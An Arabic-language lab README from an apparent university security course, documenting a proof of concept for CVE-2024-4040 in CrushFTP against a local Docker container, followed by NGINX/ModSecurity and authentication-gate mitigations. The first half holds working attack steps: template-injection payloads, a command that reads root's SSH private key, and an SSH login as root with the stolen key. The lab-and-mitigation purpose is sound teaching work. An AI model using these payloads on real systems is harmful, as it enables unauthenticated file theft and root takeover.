
إثبات المفهوم لـ CVE-2024-4040 (CrushFTP SSTI -> LFI غير مصادق عليه) في بيئة مختبر CS443 خاضعة للتحكم - للاستخدام التعليمي/المصرح به فقط.
للاستخدام التعليمي والمختبري المصرح به فقط.
CS443 أمن البرمجيات والأنظمة — بيئة Docker محلية مسيطر عليها.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2024-4040 |
| البرنامج المتأثر | CrushFTP < 10.7.1 (فرع v10) / < 11.1.0 (فرع v11) |
| نوع الثغرة | حقن القوالب من جانب الخادم (SSTI) → قراءة ملفات محلية دون مصادقة |
| درجة CVSS | 9.8 حرجة |
| التأثير | يمكن للمهاجمين غير المصادقين قراءة أي ملفات من نظام ملفات الخادم |
يقوم WebInterface في CrushFTP بتقييم تعبيرات القوالب في معامل path لأمر zip دون تنقية. يمكن للمهاجم غير المصادق الحصول على ملفات تعريف ارتباط جلسة مجهولة، ثم استخدام ملفات تعريف الارتباط هذه لتمرير حمولات قوالب ({working_dir}، <INCLUDE>…</INCLUDE>) يقوم الخادم بتقييمها وإعادتها — مما يسمح بقراءة أي ملف عبر المضيف.
| المكون | القيمة |
|---|---|
| الهدف | http://localhost:8080 |
| إصدار CrushFTP الأساسي في إثبات المفهوم | 10.3.0 (قابل للاستغلال عمدًا) |
| بيئة اختبار التخفيف 3 | حاوية منفصلة تعمل CrushFTP 11.x (الفرع المصحح) |
| منفذ SSH (الحاوية) | 2222 → 22 |
| بيانات اعتماد المسؤول | admin / admin |
| وقت تشغيل الحاوية | Docker (Compose) |
pip install requests rich
| البرنامج | المصدر | الغرض |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | استغلال كامل لـ SSTI/LFI — سرقة الجلسة، قراءة أي ملف |
recon.py | هذا المستودع | كشف الإصدار، اختبار SSTI مباشر، تأكيد الثغرة |
docker-compose up -d
انتظر حوالي 10 ثوانٍ حتى يتم تهيئة CrushFTP بالكامل قبل تشغيل البرامج النصية.
لا توجد حاجة لخطوة استطلاع منفصلة هنا لأن crushed.py يتحقق بالفعل من إمكانية الاستغلال أثناء التنفيذ.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
سيقوم البرنامج النصي بـ:
CrushAuth / currentAuth من /WebInterface/{working_dir} لحل دليل تثبيت CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> لقراءة الملف المستهدفانسخ كتلة المفتاح الخاص من المخرجات (كل شيء من -----BEGIN OPENSSH PRIVATE KEY----- إلى -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
crushed.py| المشكلة | الموقع | التفاصيل |
|---|---|---|
| تبعية مفقودة | الأسطر 6–9 | يتطلب تشغيل pip install rich قبل التنفيذ |
| تحليل XML هش | الأسطر 86، 140 | يتعطل في استجابات الخادم غير XML؛ لا يوجد معالجة لـ ParseError |
| نمط الرمز المميز صارم جدًا | الأسطر 160–161 | قد لا يتطابق نمط CrushAuth=…; currentAuth=… مع جميع تنسيقات sessions.obj |
| HTTP 404 فقط | السطر 53 | التقاط ملفات تعريف الارتباط ينجح فقط عند 404؛ يمر بصمت دون إعلام في رموز الحالة الأخرى |
يعمل جدار حماية تطبيقات الويب (WAF) كوكيل عكسي يقوم بفحص حركة المرور الواردة HTTP/S قبل وصولها إلى CrushFTP. باستخدام NGINX مع ModSecurity، يتم حظر الطلبات الضارة التي تستغل CVE-2024-4040 عند حافة الشبكة دون تعديل CrushFTP نفسه.
../، %2e%2e) في URIs الطلبات وملفات تعريف الارتباطاستخدم Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
استخدم Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
المهاجم -> NGINX WAF (المنفذ 80) -> يحجب الضار -> 403 ممنوع
-> يمرر النظيف -> CrushFTP:8080
يمكن استغلال CVE-2024-4040 دون مصادقة. في هذا المختبر، يتم حظر الوصول بأسلوب مجهول عند طبقة NGINX عن طريق طلب رأس Authorization قبل توجيه المسارات الحساسة إلى CrushFTP.
crushed.py على الوصول غير المصادق؛ يتم رفض الطلبات بدون بيانات اعتماد بـ 401/WebInterface/ و / ما لم تكن بيانات المصادقة موجودةservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}